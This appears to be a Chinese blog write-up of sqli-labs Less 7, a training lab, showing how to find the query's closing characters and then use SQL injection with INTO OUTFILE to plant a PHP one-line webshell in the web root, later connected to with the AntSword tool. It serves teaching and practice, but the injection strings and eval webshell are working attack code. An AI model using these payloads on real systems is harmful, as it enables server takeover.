sqli-labs靶场 less 7

文章目录

  • sqli-labs靶场
    • [less 7 mysql文件上传拿web shell](#less 7 mysql文件上传拿web shell)

sqli-labs靶场

每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。

sql注入的基本步骤

  • 注入点
  • 注入类型
    • 字符型:判断闭合方式 ('、"、''、"")
    • 数字型
  • 根据实际情况,选择合适的注入方式
  • 获取数据库名,表名,列名,数据

less 7 mysql文件上传拿web shell

  • 题目类型: 字符型 ' )) 闭合(无数据回显,无具体报错)

id=1

id=1'

报错

id=1''

回显正常页面

可以看到页面呈规律性变化,大概率单引号闭合

id=1'--+

--+ 注释后面的语句,检验闭合方式是否正确

报错,说明闭合式不完全是单引号,单引号后面应该跟着其他符号

尝试:在单引号后面加双引号或者单引号或者括号,不断尝试,直至正常回显

id=1'))--+

回显正常,说明'))是闭合符


这道题无回显,无具体报错信息(只有固定报错提示),并且根据正确语法页面提示,使用mysql文件上传

我们得先了解mysql文件上传拿web shell的知识

此题基本上实战无法完成,环境要求苛刻

mysql文件上传要点( 权限,完整上传路径 ):

  • show variables like'%secure%'; 用来查看mysql是否有读写文件权限;

要点1.数据库的fle权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限;

secure_file_priv这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT ... INTO OUTFILE语句和LOAD_FILE()函数。这些操作需要用户具有FILE权限。

secure_file_priv=null 不允许导入导出

secure_file_priv=具体文件路径 只允许从这个路径导入导出

secure_file_priv=' ' 可以从任意路径导入导出

要点2. into outfile 命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径


文件上传指令

?id=-1')) union select 1,"<?php @eval($ PosT['password']);?>",3 into outfile "D:\\phpstudy_pro\www\\ben.php"--+

  • <?php @eval($_POST[password"]);?> //为一句话木马
    • password为预留密码
    • D:\\phpstudy_pro\WWW为文件路径
    • ben.php为新插入的文件名

开始做题

预处理mysql上传文件所需的环境

  • 找到mysql文件夹下的my.ini配置文件,如果有secure_file_priv,则修改,要不没有secure_file_priv,则自行添加
  • 改成可以从任意路径导入导出 secure_file_priv=' '
  • 记得重启数据库才生效

环境处理好,咱们开始sql注入了

bash 复制代码
id=1'))  union select 1,2, " <?php @eval($_POST['123'] ); ?>"  into outfile 'C:\\SoftWare\\phpStudy_64\\phpstudy_pro\\WWW\\muma.php' --+

页面输入显示固定错误提示,但是已经成功上传木马文件

上传成功

内容如下,<?php @eval($_POST['123'] ); ?>这句话是关键,前面的数据不会影响解析

本人靶场是部署在虚拟机下

打开中国蚁剑,添加数据,连接

可以先测试连接

测试连接成功,再点击添加,可以看到成功拿下


相关推荐
码农果果几秒前
Google 提供的一组集成测试套件----XTS
android
火柴就是我3 分钟前
每日见闻之Rust中的引用规则
android
雨白17 分钟前
SQLite 数据库的事务与无损升级
android
_一条咸鱼_29 分钟前
Android Runtime即时编译触发条件与阈值深度解析(38)
android·面试·android jetpack
Aridvian31 分钟前
如何使用EventBus?
android
用户20187928316732 分钟前
SystemUI 开发实战故事:手机 "公共设施总管" 的修炼手册
android
火柴就是我37 分钟前
每日见闻之Rust中的引用
android
ajassi200040 分钟前
开源 java android app 开发(十一)调试、发布
android·java·linux·开源
敲代码的剑缘一心2 小时前
手把手教你学会写 Gradle 插件
android·gradle
青蛙娃娃2 小时前
漫画Android:动画是如何实现的?
android·android studio